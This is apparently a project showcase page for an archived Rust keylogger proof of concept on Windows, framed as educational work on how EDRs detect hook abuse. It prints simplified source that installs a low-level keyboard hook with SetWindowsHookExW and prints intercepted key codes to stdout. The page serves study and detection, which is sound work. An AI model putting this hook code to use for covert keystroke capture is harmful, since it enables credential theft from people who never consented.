EXPERIMENT_ID: 001
Rust Keylogger PoC
ARCHIVED
A Windows-based keylogger demonstrating the usage of `SetWindowsHookEx` and proper hook chaining for educational detection analysis.
OBJECTIVE
Understand how Windows messaging hooks can be abused for credential interception and how EDRs detect hook injection.
CONSTRAINTS
Educational purpose only. Does not persist across reboots. Logs to stdout only.
Rust WinAPI Unsafe
src/main.rust
// WinAPI Hook Structure (Simplified)unsafe extern "system" fn hook_callback(code: i32, wParam: WPARAM, lParam: LPARAM) -> LRESULT {if code >= 0 && wParam.0 as u32 == WM_KEYDOWN {let kbd_struct = *(lParam.0 as *const KBDLLHOOKSTRUCT);// Process virtual key codeprintln!("Key Intercepted: {}", kbd_struct.vkCode);}// Always pass to next hook in chain to avoid breaking inputCallNextHookEx(HOOK_HANDLE, code, wParam, lParam)}fn main() {let hook_id = unsafe {SetWindowsHookExW(WH_KEYBOARD_LL,Some(hook_callback),std::ptr::null_mut(),0)};// Pump messages to keep hook alivelet mut msg = MSG::default();while unsafe { GetMessageW(&mut msg, std::ptr::null_mut(), 0, 0) } > 0 {unsafe {TranslateMessage(&msg);DispatchMessageW(&msg);}}}
READ_ONLY_MODEUTF-8